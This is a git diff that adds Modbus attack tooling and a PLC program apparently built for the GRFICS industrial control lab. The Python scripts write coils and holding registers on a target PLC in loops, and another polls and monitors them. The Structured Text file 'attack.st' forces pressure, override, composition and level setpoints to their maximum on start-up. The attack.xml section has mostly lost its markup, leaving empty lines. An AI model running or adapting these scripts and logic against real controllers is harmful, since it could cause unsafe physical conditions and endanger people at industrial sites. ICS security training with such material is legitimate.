ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + 